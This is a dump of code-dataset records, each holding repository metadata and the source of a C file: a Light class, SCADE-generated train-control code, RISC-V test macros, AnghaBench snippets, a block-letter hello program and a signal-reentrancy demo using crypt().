blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
357
content_id
stringlengths
40
40
detected_licenses
listlengths
0
58
license_type
stringclasses
2 values
repo_name
stringlengths
4
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
58
visit_date
timestamp[ns]date
2015-07-14 21:31:45
2023-09-06 10:45:08
revision_date
timestamp[ns]date
1970-01-01 00:00:00
2023-09-05 23:26:37
committer_date
timestamp[ns]date
1970-01-01 00:00:00
2023-09-05 23:26:37
github_id
int64
966
689M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
24 values
gha_event_created_at
timestamp[ns]date
2012-06-07 00:51:45
2023-09-14 21:58:52
gha_created_at
timestamp[ns]date
2008-02-03 21:17:16
2023-08-24 19:49:39
gha_language
stringclasses
180 values
src_encoding
stringclasses
35 values
language
stringclasses
1 value
is_vendor
bool
1 class
is_generated
bool
2 classes
length_bytes
int64
6
10.4M
extension
stringclasses
121 values
filename
stringlengths
1
148
content
stringlengths
6
10.4M
ea964e35cf4d2f06f7a5f7bb10d30bff64989693
3f05a3fc47870c7415a80903f8a36be857266bb8
/OOPC/源码/Chap-12/cx12-a01(TurboC)/CX12-LIG.C
77d5f203afaeb8e0595a29349a4cb68b36b66a4e
[]
no_license
liaoyouhua1990/OOPC
5b314e8dd020cbdf21451ebdf68e8935d8682bf6
27efe4500ce03572f780267ecdd3fada775dcff1
refs/heads/master
2021-09-02T14:31:52.055607
2018-01-03T06:39:11
2018-01-03T06:39:11
null
0
0
null
null
null
null
UTF-8
C
false
false
546
c
CX12-LIG.C
/* cx12-lig.c */ #include <stdio.h> #include "cx12-lig.h" static void init( void *t ) { Light* cthis = (Light*) t; cthis->state = 0; } static int get_state(void* t) { Light* cthis = (Light*) t; return cthis->state; } static void set_light(void* t, int flag) { Light* cthis = (Light*) t; cthis->state = flag; if(cthis->state == 0) printf("LIGHT_OFF!\n"); else printf("LIGHT_ON!\n"); } CTOR(Light) FUNCTION_SETTING(init, init); FUNCTION_SETTING(get_state, get_state); FUNCTION_SETTING(set_light, set_light); END_CTOR 
e8b7ee293d30d9b79f822903637c2ee4dd7c5a2d
c4afbfe1885e8d0c7a1c8b928563f7bb8ab6a683
/GreenDemonstrator/src/OBU/Generated_Code/KCG-Releases/Update_MA_TA_MA.c
32979602ad62493488f25529c3332f55c00717e3
[]
no_license
VladislavLasmann/srcAndBinary
cd48ebaa2f1f7f697ba5df9f38abb9ed50658e10
13aa76e545b9596f6dac84fb20480dffae7584d8
refs/heads/master
2021-05-08T15:04:05.709079
2016-01-22T12:40:10
2016-01-22T12:40:10
null
0
0
null
null
null
null
UTF-8
C
false
false
3,373
c
Update_MA_TA_MA.c
/* $**************** KCG Version 6.4 (build i21) **************** ** Command: kcg64.exe -config D:/Github/modeling/model/Scade/System/OBU_PreIntegrations/openETCS_EVC/KCG-Releases/config.txt ** Generation date: 2015-11-03T14:26:14 *************************************************************$ */ #include "kcg_consts.h" #include "kcg_sensors.h" #include "Update_MA_TA_MA.h" #ifndef KCG_USER_DEFINED_INIT void Update_MA_init_TA_MA(outC_Update_MA_TA_MA *outC) { static kcg_int i; outC->init = kcg_true; outC->MA_in_force.valid = kcg_true; outC->MA_in_force.Level = MA_L1_TrackAtlasTypes; outC->MA_in_force.q_dir = Q_DIR_Reverse; outC->MA_in_force.v_main = 0; outC->MA_in_force.v_loa = 0; outC->MA_in_force.t_loa_unlimited = kcg_true; outC->MA_in_force.t_loa = 0; outC->MA_in_force.n_iter = 0; for (i = 0; i < 10; i++) { outC->MA_in_force.sections[i].valid = kcg_true; outC->MA_in_force.sections[i].q_endsection = kcg_true; outC->MA_in_force.sections[i].l_section = 0; outC->MA_in_force.sections[i].q_sectiontimer = kcg_true; outC->MA_in_force.sections[i].t_sectiontimer = 0; outC->MA_in_force.sections[i].d_sectiontimerstoploc = 0; } outC->MA_in_force.q_dangerpoint = kcg_true; outC->MA_in_force.dangerpoint.d_DP_or_OL = 0; outC->MA_in_force.dangerpoint.v_release = 0; outC->MA_in_force.dangerpoint.calc_v_release_onboard = kcg_true; outC->MA_in_force.q_overlap = kcg_true; outC->MA_in_force.overlap.d_DP_or_OL = 0; outC->MA_in_force.overlap.v_release = 0; outC->MA_in_force.overlap.calc_v_release_onboard = kcg_true; outC->MA_in_force.q_endtimer = kcg_true; outC->MA_in_force.endtimer_t.t_endtimer = 0; outC->MA_in_force.endtimer_t.d_endtimerstoploc = 0; } #endif /* KCG_USER_DEFINED_INIT */ #ifndef KCG_NO_EXTERN_CALL_TO_RESET void Update_MA_reset_TA_MA(outC_Update_MA_TA_MA *outC) { outC->init = kcg_true; } #endif /* KCG_NO_EXTERN_CALL_TO_RESET */ /* TA_MA::Update_MA */ void Update_MA_TA_MA( /* TA_MA::Update_MA::ProfileIn */ MovementAuthority_t_TrackAtlasTypes *ProfileIn, outC_Update_MA_TA_MA *outC) { /* TA_MA::Update_MA::IfBlock1::else */ static kcg_bool else_clock_IfBlock1; /* TA_MA::Update_MA::IfBlock1 */ static kcg_bool IfBlock1_clock; /* TA_MA::Update_MA::action */ static ActionType_TA_MA action; /* 1 */ if ((*ProfileIn).valid) { action = replace_MA_TA_MA; } else { action = keep_MA_TA_MA; } IfBlock1_clock = action == replace_MA_TA_MA; /* ck_IfBlock1 */ if (IfBlock1_clock) { kcg_copy_MovementAuthority_t_TrackAtlasTypes(&outC->MA_in_force, ProfileIn); } else { else_clock_IfBlock1 = action == delete_MA_TA_MA; /* ck_anon_activ */ if (else_clock_IfBlock1) { kcg_copy_MovementAuthority_t_TrackAtlasTypes( &outC->MA_in_force, (MovementAuthority_t_TrackAtlasTypes *) &DEFAULT_MovementAuthority_TrackAtlasTypes); } else /* last_init_ck_MA_in_force */ if (outC->init) { kcg_copy_MovementAuthority_t_TrackAtlasTypes( &outC->MA_in_force, (MovementAuthority_t_TrackAtlasTypes *) &DEFAULT_MovementAuthority_TrackAtlasTypes); } } outC->init = kcg_false; } /* $**************** KCG Version 6.4 (build i21) **************** ** Update_MA_TA_MA.c ** Generation date: 2015-11-03T14:26:14 *************************************************************$ */
783019fc47fe70d858aa14ea4a64f78bbd9bf35d
1ee1ef164d2568d3fc99c100c1464628ead29d4d
/PSS/DataStack/BSD/CORE/Code/src/inet6/ip6_input.c
d612d3b4fb02ff9c90e8280b80c26f7e0435eb81
[]
no_license
cen123456/shannon_s5000
0f2ec3ba5a8ad8343ec16d57440c2f8ec6bc035e
cf61944f3d2904fd4190ce3d3f9950c820907e4a
refs/heads/master
2022-04-06T19:31:24.568193
2020-01-31T15:49:25
2020-01-31T15:52:16
null
0
0
null
null
null
null
UTF-8
C
false
false
1,182
c
ip6_input.c
Line 246: [IPv6][RSRA] Active using temporary address Line 566: IP6_INPUT: mbuf is NULL.. returning! Line 618: IP6_INPUT: Dropping the packet as IPv6 Operation is disabled on the IF Line 661: IP6_INPUT: Invalid packet Line 671: IP6_INPUT: Bad IP version Line 689: IP6_INPUT: Bad scope; Not suitable for multicast Line 714: IP6_INPUT: Bad scope; silently drop the packet Line 739: IP6_INPUT: Malicious packet; Bad scope Line 791: IP6_INPUT: IP packet is ours Line 802: IP6_INPUT: Forwarding the packet Line 821: IP6_INPUT: Bad scope Line 828: IP6_INPUT: Bad scope Line 836: IP6_INPUT: Multicast Check; Assuming packet is for us Line 865: IP6_INPUT: packet to an unready address %s->%s Line 882: ip6_output - Finding ifa Line 911: IP6_INPUT: Not a router.. discarding packet! Line 946: IP6_INPUT: Dropping packet; shorter than expected Line 979: IP6_INPUT: Cannot forward packet; Discarding Line 985: IP6_OUTPUT: Forwarded packet succesfully Line 1017: IP6_INPUT: Too many headers Line 1028: IP6_INPUT: Faulty packet received Line 1041: IP6_INPUT: Next Header [%d] Line 1055: Bad: Freeing mbuf! Line 1302: ip6_savecontrol_v4: mbuf is NULL.. returning!! Line 1422: ip6_savecontrol:
d64f57b655e3379167a507f613353d7d4a2014d7
b9be0c50af451675020de4f0f732c322c2d0544b
/project6175/programs/assembly/macros/test_macros.h
024e80a5e5c3276a743d12286c0b6d68545452cb
[]
no_license
fabatef/6.175
01c02f4df635d77ad3dd8793a55a3c2db6b1f4a2
52aa276da12d1259e5c85163bfb6abc12ea673ee
refs/heads/master
2023-07-31T01:18:10.922270
2018-06-18T02:33:34
2018-06-18T02:33:34
137,703,057
12
0
null
null
null
null
UTF-8
C
false
false
11,681
h
test_macros.h
// See LICENSE for license details. #ifndef __TEST_MACROS_SCALAR_H #define __TEST_MACROS_SCALAR_H #----------------------------------------------------------------------- # Helper macros #----------------------------------------------------------------------- #define TEST_CASE( testnum, testreg, correctval, code... ) \ test_ ## testnum: \ code; \ li x29, correctval; \ li TESTNUM, testnum; \ bne testreg, x29, fail; # We use a macro hack to simpify code generation for various numbers # of bubble cycles. #define TEST_INSERT_NOPS_0 #define TEST_INSERT_NOPS_1 nop; TEST_INSERT_NOPS_0 #define TEST_INSERT_NOPS_2 nop; TEST_INSERT_NOPS_1 #define TEST_INSERT_NOPS_3 nop; TEST_INSERT_NOPS_2 #define TEST_INSERT_NOPS_4 nop; TEST_INSERT_NOPS_3 #define TEST_INSERT_NOPS_5 nop; TEST_INSERT_NOPS_4 #define TEST_INSERT_NOPS_6 nop; TEST_INSERT_NOPS_5 #define TEST_INSERT_NOPS_7 nop; TEST_INSERT_NOPS_6 #define TEST_INSERT_NOPS_8 nop; TEST_INSERT_NOPS_7 #define TEST_INSERT_NOPS_9 nop; TEST_INSERT_NOPS_8 #define TEST_INSERT_NOPS_10 nop; TEST_INSERT_NOPS_9 #----------------------------------------------------------------------- # Tests for instructions with immediate operand #----------------------------------------------------------------------- #define SEXT_IMM(x) ((x) | (-(((x) >> 11) & 1) << 11)) #define TEST_IMM_OP( testnum, inst, result, val1, imm ) \ TEST_CASE( testnum, x3, result, \ li x1, val1; \ inst x3, x1, SEXT_IMM(imm); \ ) #define TEST_IMM_SRC1_EQ_DEST( testnum, inst, result, val1, imm ) \ TEST_CASE( testnum, x1, result, \ li x1, val1; \ inst x1, x1, SEXT_IMM(imm); \ ) #define TEST_IMM_DEST_BYPASS( testnum, nop_cycles, inst, result, val1, imm ) \ TEST_CASE( testnum, x6, result, \ li x4, 0; \ 1: li x1, val1; \ inst x3, x1, SEXT_IMM(imm); \ TEST_INSERT_NOPS_ ## nop_cycles \ addi x6, x3, 0; \ addi x4, x4, 1; \ li x5, 2; \ bne x4, x5, 1b \ ) #define TEST_IMM_SRC1_BYPASS( testnum, nop_cycles, inst, result, val1, imm ) \ TEST_CASE( testnum, x3, result, \ li x4, 0; \ 1: li x1, val1; \ TEST_INSERT_NOPS_ ## nop_cycles \ inst x3, x1, SEXT_IMM(imm); \ addi x4, x4, 1; \ li x5, 2; \ bne x4, x5, 1b \ ) #define TEST_IMM_ZEROSRC1( testnum, inst, result, imm ) \ TEST_CASE( testnum, x1, result, \ inst x1, x0, SEXT_IMM(imm); \ ) #define TEST_IMM_ZERODEST( testnum, inst, val1, imm ) \ TEST_CASE( testnum, x0, 0, \ li x1, val1; \ inst x0, x1, SEXT_IMM(imm); \ ) #----------------------------------------------------------------------- # Tests for an instruction with register operands #----------------------------------------------------------------------- #define TEST_R_OP( testnum, inst, result, val1 ) \ TEST_CASE( testnum, x3, result, \ li x1, val1; \ inst x3, x1; \ ) #define TEST_R_SRC1_EQ_DEST( testnum, inst, result, val1 ) \ TEST_CASE( testnum, x1, result, \ li x1, val1; \ inst x1, x1; \ ) #define TEST_R_DEST_BYPASS( testnum, nop_cycles, inst, result, val1 ) \ TEST_CASE( testnum, x6, result, \ li x4, 0; \ 1: li x1, val1; \ inst x3, x1; \ TEST_INSERT_NOPS_ ## nop_cycles \ addi x6, x3, 0; \ addi x4, x4, 1; \ li x5, 2; \ bne x4, x5, 1b \ ) #----------------------------------------------------------------------- # Tests for an instruction with register-register operands #----------------------------------------------------------------------- #define TEST_RR_OP( testnum, inst, result, val1, val2 ) \ TEST_CASE( testnum, x3, result, \ li x1, val1; \ li x2, val2; \ inst x3, x1, x2; \ ) #define TEST_RR_SRC1_EQ_DEST( testnum, inst, result, val1, val2 ) \ TEST_CASE( testnum, x1, result, \ li x1, val1; \ li x2, val2; \ inst x1, x1, x2; \ ) #define TEST_RR_SRC2_EQ_DEST( testnum, inst, result, val1, val2 ) \ TEST_CASE( testnum, x2, result, \ li x1, val1; \ li x2, val2; \ inst x2, x1, x2; \ ) #define TEST_RR_SRC12_EQ_DEST( testnum, inst, result, val1 ) \ TEST_CASE( testnum, x1, result, \ li x1, val1; \ inst x1, x1, x1; \ ) #define TEST_RR_DEST_BYPASS( testnum, nop_cycles, inst, result, val1, val2 ) \ TEST_CASE( testnum, x6, result, \ li x4, 0; \ 1: li x1, val1; \ li x2, val2; \ inst x3, x1, x2; \ TEST_INSERT_NOPS_ ## nop_cycles \ addi x6, x3, 0; \ addi x4, x4, 1; \ li x5, 2; \ bne x4, x5, 1b \ ) #define TEST_RR_SRC12_BYPASS( testnum, src1_nops, src2_nops, inst, result, val1, val2 ) \ TEST_CASE( testnum, x3, result, \ li x4, 0; \ 1: li x1, val1; \ TEST_INSERT_NOPS_ ## src1_nops \ li x2, val2; \ TEST_INSERT_NOPS_ ## src2_nops \ inst x3, x1, x2; \ addi x4, x4, 1; \ li x5, 2; \ bne x4, x5, 1b \ ) #define TEST_RR_SRC21_BYPASS( testnum, src1_nops, src2_nops, inst, result, val1, val2 ) \ TEST_CASE( testnum, x3, result, \ li x4, 0; \ 1: li x2, val2; \ TEST_INSERT_NOPS_ ## src1_nops \ li x1, val1; \ TEST_INSERT_NOPS_ ## src2_nops \ inst x3, x1, x2; \ addi x4, x4, 1; \ li x5, 2; \ bne x4, x5, 1b \ ) #define TEST_RR_ZEROSRC1( testnum, inst, result, val ) \ TEST_CASE( testnum, x2, result, \ li x1, val; \ inst x2, x0, x1; \ ) #define TEST_RR_ZEROSRC2( testnum, inst, result, val ) \ TEST_CASE( testnum, x2, result, \ li x1, val; \ inst x2, x1, x0; \ ) #define TEST_RR_ZEROSRC12( testnum, inst, result ) \ TEST_CASE( testnum, x1, result, \ inst x1, x0, x0; \ ) #define TEST_RR_ZERODEST( testnum, inst, val1, val2 ) \ TEST_CASE( testnum, x0, 0, \ li x1, val1; \ li x2, val2; \ inst x0, x1, x2; \ ) #----------------------------------------------------------------------- # Test memory instructions #----------------------------------------------------------------------- #define TEST_LD_OP( testnum, inst, result, offset, base ) \ TEST_CASE( testnum, x3, result, \ la x1, base; \ inst x3, offset(x1); \ ) #define TEST_ST_OP( testnum, load_inst, store_inst, result, offset, base ) \ TEST_CASE( testnum, x3, result, \ la x1, base; \ li x2, result; \ store_inst x2, offset(x1); \ load_inst x3, offset(x1); \ ) #define TEST_LD_DEST_BYPASS( testnum, nop_cycles, inst, result, offset, base ) \ test_ ## testnum: \ li TESTNUM, testnum; \ li x4, 0; \ 1: la x1, base; \ inst x3, offset(x1); \ TEST_INSERT_NOPS_ ## nop_cycles \ addi x6, x3, 0; \ li x29, result; \ bne x6, x29, fail; \ addi x4, x4, 1; \ li x5, 2; \ bne x4, x5, 1b; \ #define TEST_LD_SRC1_BYPASS( testnum, nop_cycles, inst, result, offset, base ) \ test_ ## testnum: \ li TESTNUM, testnum; \ li x4, 0; \ 1: la x1, base; \ TEST_INSERT_NOPS_ ## nop_cycles \ inst x3, offset(x1); \ li x29, result; \ bne x3, x29, fail; \ addi x4, x4, 1; \ li x5, 2; \ bne x4, x5, 1b \ #define TEST_ST_SRC12_BYPASS( testnum, src1_nops, src2_nops, load_inst, store_inst, result, offset, base ) \ test_ ## testnum: \ li TESTNUM, testnum; \ li x4, 0; \ 1: la x1, result; \ TEST_INSERT_NOPS_ ## src1_nops \ la x2, base; \ TEST_INSERT_NOPS_ ## src2_nops \ store_inst x1, offset(x2); \ load_inst x3, offset(x2); \ li x29, result; \ bne x3, x29, fail; \ addi x4, x4, 1; \ li x5, 2; \ bne x4, x5, 1b \ #define TEST_ST_SRC21_BYPASS( testnum, src1_nops, src2_nops, load_inst, store_inst, result, offset, base ) \ test_ ## testnum: \ li TESTNUM, testnum; \ li x4, 0; \ 1: la x2, base; \ TEST_INSERT_NOPS_ ## src1_nops \ la x1, result; \ TEST_INSERT_NOPS_ ## src2_nops \ store_inst x1, offset(x2); \ load_inst x3, offset(x2); \ li x29, result; \ bne x3, x29, fail; \ addi x4, x4, 1; \ li x5, 2; \ bne x4, x5, 1b \ #----------------------------------------------------------------------- # Test branch instructions #----------------------------------------------------------------------- #define TEST_BR1_OP_TAKEN( testnum, inst, val1 ) \ test_ ## testnum: \ li TESTNUM, testnum; \ li x1, val1; \ inst x1, 2f; \ bne x0, TESTNUM, fail; \ 1: bne x0, TESTNUM, 3f; \ 2: inst x1, 1b; \ bne x0, TESTNUM, fail; \ 3: #define TEST_BR1_OP_NOTTAKEN( testnum, inst, val1 ) \ test_ ## testnum: \ li TESTNUM, testnum; \ li x1, val1; \ inst x1, 1f; \ bne x0, TESTNUM, 2f; \ 1: bne x0, TESTNUM, fail; \ 2: inst x1, 1b; \ 3: #define TEST_BR1_SRC1_BYPASS( testnum, nop_cycles, inst, val1 ) \ test_ ## testnum: \ li TESTNUM, testnum; \ li x4, 0; \ 1: li x1, val1; \ TEST_INSERT_NOPS_ ## nop_cycles \ inst x1, fail; \ addi x4, x4, 1; \ li x5, 2; \ bne x4, x5, 1b \ #define TEST_BR2_OP_TAKEN( testnum, inst, val1, val2 ) \ test_ ## testnum: \ li TESTNUM, testnum; \ li x1, val1; \ li x2, val2; \ inst x1, x2, 2f; \ bne x0, TESTNUM, fail; \ 1: bne x0, TESTNUM, 3f; \ 2: inst x1, x2, 1b; \ bne x0, TESTNUM, fail; \ 3: #define TEST_BR2_OP_NOTTAKEN( testnum, inst, val1, val2 ) \ test_ ## testnum: \ li TESTNUM, testnum; \ li x1, val1; \ li x2, val2; \ inst x1, x2, 1f; \ bne x0, TESTNUM, 2f; \ 1: bne x0, TESTNUM, fail; \ 2: inst x1, x2, 1b; \ 3: #define TEST_BR2_SRC12_BYPASS( testnum, src1_nops, src2_nops, inst, val1, val2 ) \ test_ ## testnum: \ li TESTNUM, testnum; \ li x4, 0; \ 1: li x1, val1; \ TEST_INSERT_NOPS_ ## src1_nops \ li x2, val2; \ TEST_INSERT_NOPS_ ## src2_nops \ inst x1, x2, fail; \ addi x4, x4, 1; \ li x5, 2; \ bne x4, x5, 1b \ #define TEST_BR2_SRC21_BYPASS( testnum, src1_nops, src2_nops, inst, val1, val2 ) \ test_ ## testnum: \ li TESTNUM, testnum; \ li x4, 0; \ 1: li x2, val2; \ TEST_INSERT_NOPS_ ## src1_nops \ li x1, val1; \ TEST_INSERT_NOPS_ ## src2_nops \ inst x1, x2, fail; \ addi x4, x4, 1; \ li x5, 2; \ bne x4, x5, 1b \ #----------------------------------------------------------------------- # Test jump instructions #----------------------------------------------------------------------- #define TEST_JR_SRC1_BYPASS( testnum, nop_cycles, inst ) \ test_ ## testnum: \ li TESTNUM, testnum; \ li x4, 0; \ 1: la x6, 2f; \ TEST_INSERT_NOPS_ ## nop_cycles \ inst x6; \ bne x0, TESTNUM, fail; \ 2: addi x4, x4, 1; \ li x5, 2; \ bne x4, x5, 1b \ #define TEST_JALR_SRC1_BYPASS( testnum, nop_cycles, inst ) \ test_ ## testnum: \ li TESTNUM, testnum; \ li x4, 0; \ 1: la x6, 2f; \ TEST_INSERT_NOPS_ ## nop_cycles \ inst x19, x6, 0; \ bne x0, TESTNUM, fail; \ 2: addi x4, x4, 1; \ li x5, 2; \ bne x4, x5, 1b \ #----------------------------------------------------------------------- # Pass and fail code (assumes test num is in TESTNUM) # We reach here normally when we pass all tests. # We just addtionally check TESTNUM > 0. #----------------------------------------------------------------------- #define TEST_PASSFAIL \ bne x0, TESTNUM, pass; \ li TESTNUM, 1; \ fail: \ RVTEST_FAIL; \ pass: \ RVTEST_PASS \ #----------------------------------------------------------------------- # Test data section #----------------------------------------------------------------------- #define TEST_DATA #endif
46e21554291bff154dbe52cedec2b64d258571de
976f5e0b583c3f3a87a142187b9a2b2a5ae9cf6f
/source/citus/src/backend/distributed/transaction/extr_remote_transaction.c_Assign2PCIdentifier.c
0894ee22f37e0c0dd048bd2dd7fe2d2324d2aa32
[]
no_license
isabella232/AnghaBench
7ba90823cf8c0dd25a803d1688500eec91d1cf4e
9a5f60cdc907a0475090eef45e5be43392c25132
refs/heads/master
2023-04-20T09:05:33.024569
2021-05-07T18:36:26
2021-05-07T18:36:26
null
0
0
null
null
null
null
UTF-8
C
false
false
1,644
c
extr_remote_transaction.c_Assign2PCIdentifier.c
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_2__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ uint64 ; typedef scalar_t__ uint32 ; struct TYPE_4__ {int /*<<< orphan*/ preparedName; } ; struct TYPE_5__ {TYPE_1__ remoteTransaction; } ; typedef TYPE_2__ MultiConnection ; /* Variables and functions */ int /*<<< orphan*/ CurrentDistributedTransactionNumber () ; int /*<<< orphan*/ GetLocalGroupId () ; int /*<<< orphan*/ MyProcPid ; int /*<<< orphan*/ NAMEDATALEN ; char* PREPARED_TRANSACTION_NAME_FORMAT ; int /*<<< orphan*/ snprintf (int /*<<< orphan*/ ,int /*<<< orphan*/ ,char*,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; __attribute__((used)) static void Assign2PCIdentifier(MultiConnection *connection) { /* local sequence number used to distinguish different connections */ static uint32 connectionNumber = 0; /* transaction identifier that is unique across processes */ uint64 transactionNumber = CurrentDistributedTransactionNumber(); /* print all numbers as unsigned to guarantee no minus symbols appear in the name */ snprintf(connection->remoteTransaction.preparedName, NAMEDATALEN, PREPARED_TRANSACTION_NAME_FORMAT, GetLocalGroupId(), MyProcPid, transactionNumber, connectionNumber++); }
d6db574f0a981c8c8f121dcf895aabd03a98ad72
bf104c172b80707b0747fc5fcdc70593d74ab70e
/Exercises/Chapter_4/hello3big.c
9590d6a17602277771b3c0933df352c04e500e4f
[ "MIT" ]
permissive
D-K-E/c-practical-reilly
e68ad0c4d9ebdc9d62737345006c8102c3835d48
439624916569c489e648d767966c4aa0cdc5e995
refs/heads/master
2021-01-20T21:44:34.739125
2017-08-30T03:16:43
2017-08-30T03:16:43
101,784,444
0
0
null
2017-08-30T03:16:44
2017-08-29T16:46:13
null
UTF-8
C
false
false
647
c
hello3big.c
/* -------- Big HELLO ------------ Author: Kaan Eraslan Purpose: Write a program to print "HELLO" in big block letters; each letter should have a height of seven characters and width of five characters. Usage: Just run the program. */ /* Library Declarations */ #include <stdio.h> /* Library Declarations end */ /* Variable Declarations */ /* Variable Declarations end */ int main() { printf("* * ***** * * * \n"); printf("* * * * * * * \n"); printf("***** ***** * * * * \n"); printf("* * * * * * * \n"); printf("* * ***** ***** ***** * \n"); return(0); }
67d794626ac4b46fc2078df69cc3109bfbebe1ea
976f5e0b583c3f3a87a142187b9a2b2a5ae9cf6f
/source/sqlcipher/src/extr_vdbeaux.c_sqlite3VdbeSetP4KeyInfo.c
86dfe1315e96e87328d55eae8ef1876370f02496
[]
no_license
isabella232/AnghaBench
7ba90823cf8c0dd25a803d1688500eec91d1cf4e
9a5f60cdc907a0475090eef45e5be43392c25132
refs/heads/master
2023-04-20T09:05:33.024569
2021-05-07T18:36:26
2021-05-07T18:36:26
null
0
0
null
null
null
null
UTF-8
C
false
false
1,135
c
extr_vdbeaux.c_sqlite3VdbeSetP4KeyInfo.c
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ Vdbe ; struct TYPE_4__ {int /*<<< orphan*/ * pVdbe; } ; typedef TYPE_1__ Parse ; typedef int /*<<< orphan*/ KeyInfo ; typedef int /*<<< orphan*/ Index ; /* Variables and functions */ int /*<<< orphan*/ P4_KEYINFO ; int /*<<< orphan*/ assert (int) ; int /*<<< orphan*/ * sqlite3KeyInfoOfIndex (TYPE_1__*,int /*<<< orphan*/ *) ; int /*<<< orphan*/ sqlite3VdbeAppendP4 (int /*<<< orphan*/ *,int /*<<< orphan*/ *,int /*<<< orphan*/ ) ; void sqlite3VdbeSetP4KeyInfo(Parse *pParse, Index *pIdx){ Vdbe *v = pParse->pVdbe; KeyInfo *pKeyInfo; assert( v!=0 ); assert( pIdx!=0 ); pKeyInfo = sqlite3KeyInfoOfIndex(pParse, pIdx); if( pKeyInfo ) sqlite3VdbeAppendP4(v, pKeyInfo, P4_KEYINFO); }
a69e44ff77d7b39a05d442d0ee4963fc42138129
0eee5e17477360fc8d3f326d799960fcf0525ea4
/LibAcousticSensing/C/libas_core.h
d777cd3a6fcfbf2ed3ecc57867962735b965c086
[ "MIT" ]
permissive
cjpark87/LibAcousticSensing
beedfb57fa40f7d5901cb878187ffc779882ae5e
d3d83d939f3113d570fb4223a1bed096e694b3d3
refs/heads/master
2021-02-06T01:42:36.172809
2020-02-28T21:56:00
2020-02-28T21:56:00
243,861,559
0
0
MIT
2020-02-28T21:57:47
2020-02-28T21:57:46
null
UTF-8
C
false
false
900
h
libas_core.h
// 2016/05/08: Note this is only for iOS (working as how Androd to link jni functions) #ifndef acoustic_detection_h #define acoustic_detection_h #include "libas_utils.h" #ifdef __cplusplus extern "C" { #endif int appleTest(int a, int b); JNI_FUNC_HEAD void JNI_FUNC_NAME(initAudioSource)(JNI_FUNC_PARAM int sampleRate, int chCnt, int repeatCnt, int preambleEndOffset, int preambleSyncRepeatCnt, jshortArray signalIn, jshortArray preambleIn, jshortArray syncIn); JNI_FUNC_HEAD void JNI_FUNC_NAME(initParseSetting)(JNI_FUNC_PARAM int recordChCnt, int preambleSearchChIdxMatlab); JNI_FUNC_HEAD bool JNI_FUNC_NAME(isReadyToSense)(JNI_FUNC_NO_PARAM); //JNI_FUNC_HEAD jlong JNI_FUNC_NAME(addAudioSamples)(char* audioToAddBytes, int audioToAddByteSize); JNI_FUNC_HEAD void JNI_FUNC_NAME(debugShowStatus)(JNI_FUNC_NO_PARAM); #ifdef __cplusplus } #endif #endif
15e7f7ff0ed5049be17d15bd1fc54a8c120fdeed
2d055d8d62c8fdc33cda8c0b154e2b1e81814c46
/linux/linux_unix系统编程手册示例/tlpi-dist/signals/nonreentrant.c
5a34ce9e4d51d9f658555935eb84abd608690f77
[ "AGPL-3.0-only", "LGPL-2.0-or-later", "LGPL-3.0-only", "GPL-3.0-only", "GPL-1.0-or-later", "MIT" ]
permissive
harkhuang/harkcode
d9ff7d61c3f55ceeeac4124a2a6ba8a006cff8c9
faab86571ad0fea04c873569a806d2d7bada2e61
refs/heads/master
2022-05-15T07:49:23.875775
2022-05-13T17:21:42
2022-05-13T17:21:53
20,355,721
3
2
MIT
2019-05-22T10:09:50
2014-05-31T12:56:19
C
UTF-8
C
false
false
2,321
c
nonreentrant.c
/*************************************************************************\ * Copyright (C) Michael Kerrisk, 2015. * * * * This program is free software. You may use, modify, and redistribute it * * under the terms of the GNU General Public License as published by the * * Free Software Foundation, either version 3 or (at your option) any * * later version. This program is distributed without any warranty. See * * the file COPYING.gpl-v3 for details. * \*************************************************************************/ /* Listing 21-1 */ /* nonreentrant.c Demonstrate the nonreentrant nature of some library functions, in this example, crypt(3). */ #if ! defined(_XOPEN_SOURCE) || _XOPEN_SOURCE < 600 #define _XOPEN_SOURCE 600 #endif #include <unistd.h> #include <signal.h> #include <string.h> #include "tlpi_hdr.h" static char *str2; /* Set from argv[2] */ static int handled = 0; /* Counts number of calls to handler */ static void handler(int sig) { crypt(str2, "xx"); handled++; } int main(int argc, char *argv[]) { char *cr1; int callNum, mismatch; struct sigaction sa; if (argc != 3) usageErr("%s str1 str2\n", argv[0]); str2 = argv[2]; /* Make argv[2] available to handler */ cr1 = strdup(crypt(argv[1], "xx")); /* Copy statically allocated string to another buffer */ if (cr1 == NULL) errExit("strdup"); sigemptyset(&sa.sa_mask); sa.sa_flags = 0; sa.sa_handler = handler; if (sigaction(SIGINT, &sa, NULL) == -1) errExit("sigaction"); /* Repeatedly call crypt() using argv[1]. If interrupted by a signal handler, then the static storage returned by crypt() will be overwritten by the results of encrypting argv[2], and strcmp() will detect a mismatch with the value in 'cr1'. */ for (callNum = 1, mismatch = 0; ; callNum++) { if (strcmp(crypt(argv[1], "xx"), cr1) != 0) { mismatch++; printf("Mismatch on call %d (mismatch=%d handled=%d)\n", callNum, mismatch, handled); } } }
b0f84928bacabf9ef90c373ee0c6f0481431db45
6d857c97a0849f46c5b2fd3c7af236ca5797e8fb
/ft_ls_v1/src/read_nodes.c
5366a55999dd25455e38b5c3d2b4ef964353081a
[]
no_license
konstantikk/ft_ls
b2757ba7a049f179506873c84c11e27351b8870c
161a210a305756d22cb74e65190d27b6b39e6790
refs/heads/main
2023-02-22T18:56:08.672936
2021-01-26T18:29:34
2021-01-26T18:29:34
301,525,961
1
1
null
2020-11-30T20:59:34
2020-10-05T20:02:44
C
UTF-8
C
false
false
3,657
c
read_nodes.c
